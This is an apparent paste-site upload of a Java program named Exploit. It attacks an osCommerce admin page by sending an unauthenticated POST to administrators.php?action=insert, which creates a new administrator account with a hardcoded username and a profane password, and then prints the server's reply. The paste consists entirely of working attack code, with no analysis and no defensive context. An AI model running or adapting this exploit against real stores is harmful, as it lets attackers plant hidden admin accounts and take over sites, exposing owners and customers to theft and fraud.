
Untitled
By: a guest on
Aug 22nd, 2012 | syntax:
Java | size: 1.59 KB | hits: 18 | expires: Never
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.UnsupportedEncodingException;
import java.util.ArrayList;
import org.apache.http.HttpResponse;
import org.apache.http.NameValuePair;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.message.BasicNameValuePair;
public class Exploit {
private static HttpClient client = new DefaultHttpClient();
private static final String ADMIN_PAGE_URL = "http://localhost/osc/admin/administrators.php";
public static void main(String[] args) {
HttpPost post = new HttpPost(ADMIN_PAGE_URL+"?action=insert");
ArrayList<NameValuePair> data = new ArrayList<NameValuePair>(2);
data.add(new BasicNameValuePair("username", "virt3"));
data.add(new BasicNameValuePair("password", "fuckthepolice"));
try {
post.setEntity(new UrlEncodedFormEntity(data));
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
try {
HttpResponse response = client.execute(post);
String currentLine;
BufferedReader rBuf = new BufferedReader(new InputStreamReader(response.getEntity().getContent()));
while ((currentLine = rBuf.readLine()) != null) {
System.out.println(currentLine);
}
} catch (ClientProtocolException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}